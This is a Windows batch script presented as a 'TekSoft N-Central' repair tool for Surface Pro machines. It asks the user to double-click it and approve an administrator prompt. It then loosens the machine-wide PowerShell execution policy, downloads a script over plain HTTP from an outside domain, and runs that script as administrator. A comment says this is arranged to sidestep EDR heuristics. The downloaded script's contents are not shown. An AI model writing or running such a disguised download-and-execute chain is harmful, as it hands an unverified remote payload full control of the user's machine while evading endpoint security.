@echo off
:: ============================================================
:: TekSoft N-Central Surface Pro Local ID Repair
:: Version 1.2
:: Fix: sets execution policy before any PowerShell runs
:: User action: double-click this file and click Yes on UAC
:: ============================================================

:: Self-elevate to Administrator
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo Requesting administrator access...
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)

echo.
echo TekSoft N-Central Repair Tool v1.2
echo ====================================
echo.

:: Step 0: Set execution policy at machine level before anything else runs
echo Setting PowerShell execution policy...
powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine -Force" >nul 2>&1
powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process -Force" >nul 2>&1
echo Execution policy set.

:: Step 1: Create working folder
echo Creating working folder...
if not exist "C:\TekSoft" mkdir C:\TekSoft

:: Step 2: Download bootstrap script
echo Downloading repair bootstrap...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
  "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://bawiii.com/TekSoftBootstrap.ps1', 'C:\TekSoft\TekSoftBootstrap.ps1')"

if not exist "C:\TekSoft\TekSoftBootstrap.ps1" (
    echo ERROR: Failed to download bootstrap script. Check internet connection.
    pause
    exit /b 1
)
echo Bootstrap downloaded.

:: Step 3: Run bootstrap directly as current elevated admin
:: This avoids scheduled task creation for the bootstrap itself
:: and sidesteps EDR heuristics around task-launched encoded PS
echo Starting repair bootstrap...
powershell -NoProfile -ExecutionPolicy Bypass -File "C:\TekSoft\TekSoftBootstrap.ps1"

echo.
echo Bootstrap complete. The repair is running in the background.
echo Check C:\TekSoft\NcentralRepair.log for progress.
echo You can close this window.
timeout /t 15
